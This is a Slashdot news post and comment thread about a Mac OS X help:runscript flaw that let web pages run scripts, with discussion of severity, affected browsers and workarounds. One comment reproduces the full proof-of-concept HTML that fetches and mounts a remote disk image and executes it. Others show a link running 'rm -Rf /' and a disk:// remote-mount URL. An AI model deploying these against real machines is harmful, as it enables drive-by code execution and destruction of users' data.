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Safari Falls Victim to Remote Code Exploit

Posted by pudge on from the the-most-important-thing-is-to-tell-people-how-to-use-the-exploit dept.

A user writes, "A new vulnerability has been found in Mac OS X's Safari, which will launch Help.app and run an arbitrary script with a URL like 'help:runscript=...', assuming a known path (which is possible when Safari is set to automount disk images (which is the default)). A nice working demonstration is available on insecure.ws while the incident has been reported on Full-Disclosure."

63 of 197 comments (clear)

  1. Wow by mcgroarty · · Score: 5, Funny
    I've got to hand it to Apple...

    "help:runscript=..."

    No double-decode, unicode obfuscation, or CMD.EXE parms. Even the exploits are user-friendly!

  2. That's it.. by Carlos+Silva · · Score: 5, Funny

    I'm switching to Windows!

  3. Is this worth a story? by 0x0d0a · · Score: 3, Insightful

    I'm all for calling Apple out on security violations when they deserve it (especially since there have been some awfully generous and inaccurate security claims about Mac OS X), but if there was a Slashdot story for every exploit against a web browser, we'd be reading nothing else.

    If it was exploitable and used in an *email* client (a la Outlook using the MSIE rendering engine), *then* I could see some serious cause for concern, as the worm potential is severe.

    However, this is ultimately a client-level attack that requires the user to pull down malicious data. It just isn't a big deal.

    --
    May we never see th
    1. Re:Is this worth a story? by I_Love_Pocky! · · Score: 3, Insightful

      I don't know about you, but I don't always take a look at my status bar before I click on a link. It is kind of nice to know such a exploit exists, because now I will be more careful (until Apple releases a patch). It is rediculous that a url can be used to execute malicious code.

      On a related note, Safari is one of the best browsers I have ever used. I hope Apple releases a fix for this quickly.

    2. Re:Is this worth a story? by mcgroarty · · Score: 5, Insightful
      "It just isn't a big deal"

      One concealed tinyurl link on Slash or an Apple forum, or a tiny frame with a redirect to:

      <a href=help:runscript=/bin/rm%20-Rf%20%2f>
      is enough to run "rm -Rf /". Wiping out all user data with half a line of html isn't a big deal?

      All companies have their own share of browser bugs, but this one's a doozy, so don't play it down. Prudence says you should exercise the utmost caution or use Mozilla until there's a fix.

    3. Re:Is this worth a story? by mcgroarty · · Score: 5, Informative
      "I don't know about you, but I don't always take a look at my status bar before I click on a link."

      That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.

    4. Re:Is this worth a story? by pudge · · Score: 4, Informative

      We don't allow help: URLs in Slash. :p

    5. Re:Is this worth a story? by SandSpider · · Score: 4, Insightful

      Ah, but do you allow tinyURLs? 'Cause that's what the grandparent post is suggesting. However, that particular exploit won't work, because it's neither formed properly, nor is it calling a script. However, there are other ways of running the exploit, and even linking it on slashdot, whether in a comment or otherwise.

      =Brian

      --
      There is nothing so good that someone, somewhere, will not hate it.
    6. Re:Is this worth a story? by edalytical · · Score: 5, Informative

      Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.

      The prof of concept link in the article was very simple:

      The linked file 0x04_test.html:
      <html>
      <head><title>Safari runscript remote execution: Proof of concept</title></head>
      <frameset cols="1%, 99%">
      <frame src="0x04_get.html">
      <frame src="0x04_exec.html">
      </frameset>
      </html>

      0x04_get.html:
      <html>
      <head>
      <meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script. dmg">
      </head>
      </html>

      0x04_exec.html:
      <html>
      <head>
      <meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resources /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
      </head>
      <body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
      <br>The script will execute automatically afterwards.
      <br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
      </pre></body>
      </html>

      Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.

      Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:

      "You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" &gt; owned.txt ; open owned.txt

      Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.

      All html source courtesy of curl.

      --
      Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
    7. Re:Is this worth a story? by mst76 · · Score: 4, Informative

      It's not that simple. From what I understand, you can only launch AppleScripts with a help:runscript URL. But how do you get your script on the user's system in a known location? AppleScripts don't expand the user home directory from ~ or $HOME. The trick is put the script and your other malicious executables on a disk image and to automount that first, since they are mounted in a known location. Contrary to the article summary, Safari does not need to be set to automount: Safari will automount whatever follows a link of the form disk:// regardless of user settings. So to run this effectively you need to set up a webpage the disk image and refresh tags and some javascript and/or frames to obfuscate the URLs.

    8. Re:Is this worth a story? by pudge · · Score: 4, Informative
      Not that this makes it significantly worse, but it is not just AppleScripts. Any OSA script will do, assuming the user has the OSA language installed. Since currently only AppleScript is installed by default ...

      But just to prove the point, I did this, using the OSAShell language (which allows writing OSA scripts using a basic shell syntax):
      $ cd Desktop/
      $ cat > foo.txt
      osascript -e 'tell app "Finder" to activate'
      ^C
      $ osacompile -l OSAShell -o foo.shell foo.txt
      $ osascript foo.shell # test script
      And now that I know it works, I go to my current browser, Camino, and try:
      help:runscript=../../../Users/pudge/Desktop/foo.sh ell
      Of course, it's a silly example, but I just wanted to make sure it wasn't only AppleScript, because that'd be just weird!
  4. Good days ahead by vijaya_chandra · · Score: 5, Funny

    First signs that apple's really in competition with Microsoft

  5. Um, what privilidges does it run at? by Llywelyn · · Score: 5, Insightful


    From the bulletin:
    ---------------
    This can potentially wipe the entire hard-disk (or large parts of it),
    if a hacker runs a script with "rm -rf /" included.
    ---------------

    Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

    --
    Integrate Keynote and LaTeX
    1. Re:Um, what privilidges does it run at? by Per+Wigren · · Score: 4, Insightful

      If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

      Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!

      --
      My other account has a 3-digit UID.
    2. Re:Um, what privilidges does it run at? by mst76 · · Score: 3, Insightful

      But the user's information is the most important part of a personal computer. On a corporate Unix system with many users, privilege separation is great: if one user messes up, others won't notice a thing. For home users, an OS reinstallation is not too problematic (especially MacOS). But the typical home user does not backup every night. It's their personal information that matters most. I think the most prudent thing to do for a home PC is to make a separate low-privilege account for all internet activities. On Windows, start the browser and mail with runas, on Unix use su.

    3. Re:Um, what privilidges does it run at? by pudge · · Score: 2, Insightful

      An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.

    4. Re:Um, what privilidges does it run at? by Paradise+Pete · · Score: 2, Interesting
      Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS?

      Nor any other user's work. In fact, if you make a user just for possibly unsafe stuff you're pretty well protected. And with fast user switching it's a breeze.

    5. Re:Um, what privilidges does it run at? by imnoteddy · · Score: 3, Insightful
      Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!

      No one should never do 100s of hours of work between backups. If someone does it indicates either that they really don't care if they lose it or that they're stupid.

      --
      No electrons were harmed creating this post, though some may have been subjected to electrical and/or magnetic fields.
    6. Re:Um, what privilidges does it run at? by Devil's+Avocado · · Score: 4, Informative

      """
      An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.
      """

      That's a bit like arguing "turning a computer on can cause it to explode" is an accurate statement because the user may have put plastic explosives in the case and wired them to the power switch.

      On any reasonably well maintained OS X system executing "rm -rf /" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted. This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.

      Also, if your friend's system is still running I doubt he has changed the permissions of *every* file unless he's a very talented programmer. OS X won't load kernel extensions unless they're owned by root:wheel, and other bits of system software have similar permissions restrictions. If he's logging in as root, well, that's another issue entirely...

    7. Re:Um, what privilidges does it run at? by Llywelyn · · Score: 3, Interesting

      You would have to specifically modify the system and, if you know enough to do that, then you get what is coming to you for modifying it.

      Seriously, this is kind of like saying "well, this exploit could erase someone's entire hard drive on a linux system if they were running their web browser as root."

      Factually true but completely irrelevant.

      For the default install this is a problem, but try not to blow it out of proportion by inventing scenarios to make it more serious.

      --
      Integrate Keynote and LaTeX
    8. Re:Um, what privilidges does it run at? by skinfitz · · Score: 2, Insightful

      Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

      Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).

      I have never, ever, known any Mac owner (myself included) to create a "Standard" user account for their own personal use.

      This exploit could destroy a lot of work, and don't give me the "you're an idiot if you don't back up" line, as it's not the point.

    9. Re:Um, what privilidges does it run at? by harlows_monkeys · · Score: 2, Insightful
      Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk

      So, basically, it can't wipe out those parts of the disk that are trivial to restore from the system install CDs, and instead only gets the parts that are actually important to the user? How comforting. :-)

    10. Re:Um, what privilidges does it run at? by hawaiian717 · · Score: 2, Informative

      Remember though, an Admin account on Mac OS X is not root. Basically, an Admin account is someone who can sudo/su to root, but it is not itself not root. In order for a script that wanted rm -rf / to work, it would have to ask the user to enter their password (which admittedly, many would probably do).

      --
      End of Line.
    11. Re:Um, what privilidges does it run at? by drsmithy · · Score: 2, Insightful
      And with fast user switching it's a breeze.

      As long as you don't want to do something rare and uncommon like, say, copy & paste between your "unsafe stuff" and anything else...

    12. Re:Um, what privilidges does it run at? by ce25254 · · Score: 2, Interesting
      I do an automated backup of my OS X home directory every night to a Firewire disk that is mounted as /Volumes/BakDisk.
      So if the script does
      rm -rf /
      Won't it delete my backup, too?

      I think so, but I'm not going to test it and find out.
      I thought backing up to a HDD was supposed to be a better idea than using those unreliable CD-R/DVD-R discs. Now I'm not so sure. (I guess I'd better get a tape drive?)
    13. Re:Um, what privilidges does it run at? by jimbolaya · · Score: 3, Informative

      You can create an account with no password, but it is not the default, and Mac OS X will warn you that it is dangerous to do so ("Are you sure...?").

      --

      There ain't no rules here; we're trying to accomplish something.

    14. Re:Um, what privilidges does it run at? by djwildstar · · Score: 2, Informative

      Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).

      Me.

      And I recommend it to anyone else running Panther, too.

      I do my work as an ordinary user, without auto-login and with a password. I have an administrator account that I use for software installs and system work. It also has a password (and no auto-login).

      Running as an ordinary user has saved me from loosing data to a few stupid mistakes (and one buggy program I was working on). I find there isn't anything that I need to do as an user of the system that I can't do from the "ordinary" user account. When I do need to switch to the system user (for example, to install software or fiddle with settings), it's very easy to move between the two accounts when I need to, with Fast User Switching.

      Then again, I am an old-school UNIX sysadmin, and I tend to run my Mac as if it was a BSD-based workstation ...

  6. Ummmmmm by metalhed77 · · Score: 2, Interesting

    can someone please explain how this exploit made it into the browser. This seems so blindingly obvious. In fact, this seems like intended behavior.

    --
    Photos.
    1. Re:Ummmmmm by I_Love_Pocky! · · Score: 3, Insightful

      I would guess the team (or more possibly even the individual) working on the "help" system probably didn't have security as their top priority. Infact, I would be suprised if they even thought about it.

  7. Been known since February by p0ppe · · Score: 5, Informative

    According to a forum post on MacNN, this has been known since February...

    --


    "Democracy is three wolves and a sheep voting on what to have for dinner."
  8. Yes, it probably is by Tor · · Score: 4, Insightful

    I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

    Most "vulnerabilites" previously reported for Mac OS X have been largely theoretical, obscure, and hardly any real threat (at least, when compared to the pretty high threshold of threat before anyting is considered a "flaw" in the Windows world).

    Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

    'Course, if will probably be taken care of within a few days via "software update", if not already.

    -tor

    1. Re:Yes, it probably is by log0n · · Score: 2, Insightful

      This is pretty much the same thing. There have to be 1, 2, 3, etc steps that all have to work, or you can't get the desired result. It's not a reproducable "bug". IMO, this is a kind of 'social engineering' stunt for OSX software (it takes advantage of a mindset more than actually breaking something in OSX).

      $.02

    2. Re:Yes, it probably is by danamania · · Score: 4, Informative

      I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

      There was one equally as bad, almost 18 months ago. I think it was August 2002.

      a telnet:// URL could be used to do the same thing - with a pipe in the url, telnet could be run and piped out to another command that did anything an attacker wanted.

      The good news that time was that a security update was released 9 hours after the discoverer (in japan) reported it to Apple.

      Bad bug, quick fix. I hope the same applies in this case.

    3. Re:Yes, it probably is by Tor · · Score: 2, Informative

      Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

      Err -- OS X isn't going to be better off than UNIX/Linux, as it's open to almost all attacks that those platforms are. If FreeBSD can get nailed via sendmail, so can OS X.

      The difference is in services enabled by default. No TCP/IP services are enabled by default under Mac OS X. Even SSH - if you want to be able to SSH to your OS X box, you first need to enable "Remote Login" in the Network settings of your Systems preferences.

      Moreover, Mac OS X ships with Postfix, not Sendmail. Postfix has a better track record w.r.t. security.

      Though it is true that it also ships with BIND, the name services are only available if you turn on "Internet Connection Sharing", and only for those interfaces that are "internal" (i.e. those you share your external connection with). The external connection still does not listen on UDP/53 or TCP/53.

      Those other *IX platforms have been around for more years, so they have a larger security history. This is the kind of misleading credit that OS X gets that's a bit frusterating to me, since it really does not help folks make intelligent decisions.


      You are misunderstanding the gist of what I was saying. Most 'standard' UNIX systems (with the exception of OpenBSD) come with a bunch of services that are applicable to server machines enabled, such as SMTP, DNS, HTTP, etc.. Mac OS X, while having "learned" in the sense that it includes the more secure alternatives of available software, also leave these services disabled by default.

  9. Try Camino by Tor · · Score: 2, Informative

    http://www.mozilla.org/projects/camino/

    IMHO the best Mac OS X browser out there, even more so than Safari. Faster, per-site cookie policies, per-site popup blocking, ...

    Be sure to get the latest snapshot release (updated daily), as the 0.7 release is getting a bit old.

    Tts look and feel is more consistent with other Mac OS X apps (such as Mail.app) than Safari. (Safari looks more like a Finder window.)

    1. Re: Try Camino by gidds · · Score: 3, Informative
      I wish all OS X apps had the brushed steel look.

      Then load up Metallifizer, and they all will!

      --

      Ceterum censeo subscriptionem esse delendam.

    2. Re:Try Camino by geoffspear · · Score: 4, Insightful
      From the Full Disclosure article, it does not appear that switching to another browser will help a bit. This is NOT a flaw in Safari, but a flaw in the way the OS handles help: URLs. Any browser that uses the system's settings to decide what helper application to use for a given URL is vulnerable, and any browser that doesn't obey those settings is a badly behaved app.

      Fortunately, changing the app that handles help: URLs fixes the problem; unfortunately, OS X by default doesn't include a utility to change those settings. (Actually, IIRC Internet Explorer can do it, creating the irony that you need to use IE to fix a vulnerability in an y other browser. Or get a third-party utility).

      --
      Don't blame me; I'm never given mod points.
  10. Workaround by fsck! · · Score: 4, Insightful
    rm -rf /Applications/Help.app
    This awful help tool is as bad as they come. It's clumsy, slow, and most of the help appears to be online anyway. Apple should just make Safari the help browser to begin with. I haven't examined this much, but it looks like thelp documentation is XML or HTML anyway.
    1. Re:Workaround by klui · · Score: 3, Informative
      It's not there under Panther. Issue

      sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app

      instead. Of course, you should be using OS X as a non-root user. Root will be able to run the help subsystem without any trouble.

  11. Simple Temporary Workaround by TomSawyer · · Score: 4, Informative

    I downloaded MisFox 1.2.1 and changed the Help Protocol Helper to Chess. For good measure I unchecked "Open 'safe' files after downloading" in the general preferences of Safari.

    --
    If you disagree then it must be overrated, redundant or trolling.
  12. HA HA HA by zulux · · Score: 4, Funny

    I SO GLAD MY TRS-80 COCO ISENT
    VULNERABLE TO THIS. ALL YOU PE
    OPLE WITH FANCY GUI COMPUTERS
    WILL REGRET IT SOME DAY.

    OK
    ?
    OK
    ?

    (Lameness filter encountered. Post aborted!
    Reason: Don't use so many caps. It's like YELLING.)

    --

    Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

  13. All OS X browsers affected? by tetsuotheironman · · Score: 5, Interesting

    this exploit also works in Camino as far as I can tell (although I didn't have it set to automount images) using recenet nightly build. I also tried it in IE and it was able to open Help.app without problems..

    1. Re:All OS X browsers affected? by Anonymous Coward · · Score: 2, Informative

      Yes, that's what I mean.

      The remote mounting works only in 10.3 and later, but it works in all browsers including OmniWeb. Use the following URL to remotely mount the concept disk image for example:

      disk://www.free-go.net/insecure/safari/0x04_scri pt .dmg

  14. possible scenario by Anonymous Coward · · Score: 4, Insightful

    Help-team: let's base our help app on html, which is the de-facto standard markup language now. Oh, and let's give it the ability to launch scripts, so we can give live demo's in the help files.

    Browser-team: of course we're not going to let scripts with full user-privileges run from within the browser by default, that's idiotic. Who do you think we are, Microsoft? Hey, the help app is based on html right? Let's stick a help: protocol in the URL handler, that would be convenient.

  15. Doesn't Work in 10.2.x by greenhide · · Score: 4, Interesting

    I have not been able to recreate this exploit in OS X 10.2.8.

    Apparently, only versions 10.3.x are affected.

    --
    Karma: Chevy Kavalierma.
  16. Changing the settings by marklark · · Score: 5, Informative

    Here's where you can get a utility that allows you to change these settings: More Internet - http://www.monkeyfood.com/software/moreInternet/

  17. Other browsers also affected by swotl · · Score: 5, Informative

    The vulnerability was first discovered in Opera, and was later found to also exist in Konqueror of KDE fame. Since Safari is based on the Konqueror code, that's probably where it came from.

    --
    -
    sig sig sputnik
    1. Re:Other browsers also affected by Have+Blue · · Score: 3, Informative

      That's because it's not a bug in any one browser, it's a bug in the way the Help application (which is invoked by the OS and any browser that uses the standard API to handle help: URLs) handles those URLs. This bug is the same concept as an SQL injection attack.

  18. Re:Pudge, you got it WRONG! More serious than this by pudge · · Score: 2, Informative

    As to your Facts 1, 2 and 4: The submission was not incorrect, it merely didn't contain all the information. Instead, we linked to all the information, which is what we do on Slashdot. Sorry if you don't like it (not not really), and boo-hoo that didn't get your name in lights.

    And your Fact 4 is not a workaround as you claim, it is a way to disable Help, which causes its own problem.

    As to your Fact 3: you missed the point: I was criticizing the publication of the exploit, not stories about the exploit. Perhaps Apple was at fault for not contacting the people who submitted it, I don't know. I don't have enough information to tell. The only thing I do know is that this is the wrong way to do it; whose fault it is, I can't tell.

    Because you apparently don't understand, and since I am such a nice, bright, guy, I'll explain: when you find an exploit, you should notify the people who can fix it (i.e., Apple). Apple should get back to you, and keep you apprised of the situation, and if Apple follows through with all this, you should NOT release the information to the public until it has been fixed. Whether Apple received the initial exploit report, or responded, is not clear (though it wouldn't surprise me if they did receive it, and did not respond). But again, clearly, this was not released the way it should have been, and that was my point.

  19. Re:Pudge, you got it WRONG! More serious than this by jdb8167 · · Score: 4, Informative

    You can find an application to fix the remote exploit here:

    MisFox

    Tab to the Protocol Helpers, find help:, choose a different application. I used TextEdit.

    You can verify that the exploit is disabled by cutting and pasting the following to your Safari Address Bar:

    help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt

    TextEdit runs, but the (harmless) script doesn't.

  20. OS X Mail also by stang7423 · · Score: 5, Interesting

    I wonder if this is possible from OS X mail also. Mail uses webcore to render html and probably shares some settings. The downloading of the dmg is provoked by a meta tag, so unless mail strips meta info from e-mail then this could affect mail as well. That eventuality could potentially be a much larger issue than the current method of execution. Especially since mail will render html and images unless the mail is marked junk.

  21. Re:didn't work by Anonymous Coward · · Score: 4, Informative

    > You have get the user to download the code by themselves before you may execute it.

    You probably only need to direct them to your website, the rest can be done automatically with javascript and refresh.

    > but I set my DMGs to not automount a LONG TIME AGO.

    That won't help as images following disk:// will still automount. The workaround is to redirect the help: protocol to a different app.

  22. That won't make a difference by Carthag · · Score: 2, Informative

    It's the OS that handles the help: protocol and delegates it to whatever app is assigned, regardless of what browser you're using.

  23. Possible workaround ... by Durandal64 · · Score: 3, Insightful

    I'm too lazy to try and implement this, but what you could do is write an AppleScript to receive all calls to the help protocol. So whenever there's a help: URL, your little AppleScript goes up, notifying you that something is trying to open a help: URL, which is a security vulnerability. Then either allow or deny. If the user allows it, pass the URL along to Help Viewer.app. Then just use something like MoreInternet to point the help: protocol to that script.

    Like I said though, I'm too lazy to try it right now.

  24. OmniWeb and other browsers too by chigaze · · Score: 3, Informative

    The proof of concept also runs from the OmniWeb 5 Beta and Internet Explorer 5.2.

    It could also run from FireFox although because FireFox checks to see if you really want to download an executable, help tries to run the script before it's actually there.

    It fails in Opera with the error "The address type is unknown or unsupported."

    Those are all the browsers I have to check on.

  25. No,:That won't make a difference by WiseWeasel · · Score: 2, Informative

    It's not just dmgs that cause the problem. Check out the (fortunately harmless) site here:
    http://bronosky.com/pub/AppleScript.htm
    Th is is as serious and critical as they get, and it's not limited to any browser. They're all affected.

    --
    "I like systems, their application excepted", George Sand (French)
  26. This is NOT Limited to DMGs or Safari!!! by WiseWeasel · · Score: 3, Informative

    This is much more serious than the articles let on. This security vulnerability in MacOS X affects all web browsers. There's a non-malicious example of the seriousness of the problem here:
    http://bronosky.com/pub/AppleScript.htm
    Th at just runs a harmless script (/usr/bin/du; exit) which scrolls a bunch of text and looks scary, but it could easily have been a script to wipe your home directory, and you could have had some serious data loss (i.e. rm -rf ~/).

    To fix the vulnerability, simply navigate to your MaOS X drive, go to the Library folder (not the one in your home folder, but the one in the root directory of your HD), and then to the Documentation folder, and rename the folder "Help" to something else (located at /Library/Documentation/Help). This will prevent people from linking to the script runner. This vulnerability is very serious, and doesn't even have to involve downloading a DMG. Once the "Help" folder is renamed, you won't be able to use the Mac Help center anymore, but at least you will not be at risk of having your data wiped by clicking on a link, or visiting a malicious site. DO THIS NOW!!!!!

    --
    "I like systems, their application excepted", George Sand (French)
    1. Re:This is NOT Limited to DMGs or Safari!!! by WiseWeasel · · Score: 2, Informative

      That's the MacOS X drive, not MaOS. . . but I think I was understood. This fix only affects the general Mac help, application help is not affected, and will still work. Also, you might want to rename the Help directory back to "Help" before you apply Apple's eventual patch for this.

      --
      "I like systems, their application excepted", George Sand (French)
    2. Re:This is NOT Limited to DMGs or Safari!!! by nicky_d · · Score: 2

      As other posts here have suggested, you can also fix the Help Viewer problem in Safari using MisFox, and in doing this you won't stop Help from working with local files and apps. I've confirmed this using the example you give at bronosky.com - it ran du the first visit (from a sacrificial account), and then I used MisFox to set textedit as the help: handler. I visited the page again and it launched textedit, which displayed nothing, and the du script had no way of launching.

      Just an alternative for people who might still want to use Help locally. I've only confirmed that the MisFox solution works with Safari.

  27. on a totally unrelated note... by ansleybean · · Score: 2, Funny

    I'd like to announce the unveiling of my new website, http://www.iwilltotallyhax0ryourmac.com/evil_page. htm

  28. Simple fix. by narratorDan · · Score: 2, Informative

    The default settings for the DiskImages.framework is located here: /System/Library/PrivateFrameworks/DiskImages.frame work/Versions/A/Resources/defaults.plist

    One can change an interesting setting called "force-idme" from the standard "no" to "yes" and the DiskImages.framework will treat the diskimage as if it was an "internet-enabled disk image." What this means is that it will mount the diskimage, copy it to the current directory as a folder then un-mount and then moves the disk image to the trash. There, the exploit no longer has a known location to work with. Another setting just happens to be "mount-point" which can also be changed from the default /Volumes/ to whatever one likes, say /Users/MyAccount/

    Like the subject line says, simple fix.

    NarratorDan

    --
    "If you're not confused by quantum mechanics, you really don't understand it." - Niels Bohr
  29. A problem wider than it at first seems? by babbage · · Score: 2, Interesting

    It occurs to me that this problem could be broader than is being portrayed.

    Consider: the fundamental issue here is that an OSX web browser -- Safari in the original reports, but apparently also Mozilla etc -- is acting as a broker for any URI that the user may come across, delegating the request out to external handler programs. Whether those external programs handle their URIs safely may be an open question.

    The problem isn't really that Safari or Help is broken, but that the interaction between them, arising from the URI handling mechanism on OSX, is leading to Unintended Consequences.

    OSX can handle many different URI namespaces, some of which seem to be used nowhere other than OSX. I'm having a hard time finding an exhaustive list of the URI protocols that OSX supports, but a partial list includes, in no particular order:

    http://
    https://
    ftp://
    mailto://
    ssh://
    telnet://
    aim://
    afp://
    nfs://
    smb://
    sherlock://
    itms://
    daap://
    help://

    So far, I can think of published vulnerabilities in the telnet:// and now help:// protocols, but is that the end of it, or is the whole framework vulnerable to these sorts of attacks?

    I have a hunch that we're just seeing the thin edge of the wedge...

    --
    DO NOT LEAVE IT IS NOT REAL
  30. Help Viewerrrrrrrrr by TitanBL · · Score: 2, Insightful

    Just one more reason for Apple to rethink the whole 'Help Viewer' implementation. I don't know about you, but I despise that sluggish POS (I hate that spinning beachball). I do not even bother using it. It is faster to find 'help' via a google search. It is without question the LAMEST aspect of OS X.